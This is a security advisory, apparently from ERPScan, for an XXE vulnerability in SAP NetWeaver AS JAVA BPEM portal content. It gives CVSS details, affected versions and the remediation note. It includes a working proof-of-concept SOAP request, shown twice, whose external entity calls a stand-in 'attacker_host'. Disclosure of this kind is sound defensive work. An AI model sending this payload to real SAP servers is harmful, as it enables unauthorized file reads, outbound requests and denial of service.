Application: SAP NetWeaver AS JAVA **Versions Affected:**SAP NetWeaver AS JAVA 7.5 **Vendor URL: ** SAP **Bugs:**XXE **Reported: **09.03.2016 **Vendor response: **10.03.2016 **Date of Public Advisory:**09.08.2016 **Reference: **SAP Security Note 2296909 Author: Vahagn Vardanyan (ERPScan)
Class: XXE
Impact: Denial of Service, Read File
Remotely Exploitable: Yes
Locally Exploitable: No
CVSS Base Score v3: 6.4 / 10
CVSS Base Vector:
AV: Attack Vector (Related exploit range) | Network (N) |
---|---|
AC: Attack Complexity (Required attack complexity) | High (H) |
PR: Privileges Required (Level of privileges needed to exploit) | Low (L) |
UI: User Interaction (Required user participation) | None (N) |
S: Scope (Change in scope due to impact caused to components beyond the vulnerable component) | Unchanged (U) |
C: Impact to Confidentiality | Low (L) |
I: Impact to Integrity | Low (L) |
A: Impact to Availability | High (H) |
An attacker can use an XML external entity vulnerability to send specially crafted unauthorized XML requests which will be processed by XML parser. An attacker can use an XML external entity vulnerability to obtain unauthorized access to an OS filesystem.
BPEM PORTAL CONTENT 7.20
BPEM PORTAL CONTENT 7.30
BPEM PORTAL CONTENT 7.31
BPEM PORTAL CONTENT 7.40
BPEM PORTAL CONTENT 7.50
To correct this vulnerability, install SAP Security Note 2296909.
PoC POST /sap.com~tc~bpem~him~uwlconn~provider~web/bpemuwlconn HTTP/1.1 Content-Type: text/xml User-Agent: ERPscan Host: SAP_IP:SAP_PORT Content-Length: 480 Connection: Keep-Alive Cache-Control: no-cache Authorization: Basic ZXJwc2NhbjplcnBzY2Fu <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker_host"> ]><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Body> <m:isBPMSInUse xmlns:m="http://api.facade.bpem.sap.com/"/> &xxe;</SOAP-ENV:Body> </SOAP-ENV:Envelope>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
PoC
POST /sap.com~tc~bpem~him~uwlconn~provider~web/bpemuwlconn HTTP/1.1
Content-Type: text/xml
User-Agent: ERPscan
Host: SAP_IP:SAP_PORT
Content-Length: 480
Connection: Keep-Alive
Cache-Control: no-cache
Authorization: Basic ZXJwc2NhbjplcnBzY2Fu
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker_host"> ]><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Body>
<m:isBPMSInUse xmlns:m="http://api.facade.bpem.sap.com/"/>
&xxe;</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
—|—